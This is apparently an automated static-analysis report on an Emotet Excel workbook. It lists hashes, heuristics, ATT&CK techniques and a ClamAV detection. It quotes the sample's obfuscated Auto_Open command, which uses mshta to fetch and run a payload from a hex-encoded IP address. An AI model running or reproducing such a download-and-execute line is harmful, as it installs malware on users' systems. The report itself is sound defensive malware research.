Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 deee558e03a8a864…

MALICIOUS

Office (OLE) / .XLSX

101.1 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel
MD5: 8a7310656d75d94cfd69937f6531721e SHA-1: a0a742e54496f3587533cd44f65a27fe1ee57f0f SHA-256: deee558e03a8a864d92175dcd88c1181dd9c7f4caac941346b0b59cc60f9040d
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macro is designed to execute a command that downloads a payload from the URL 'cmd /c msh^t^a h^tt^p^://0xb907d607/fer/fe3.html'. ClamAV also detected this file as 'Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0', strongly suggesting the Emotet family.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2903 bytes

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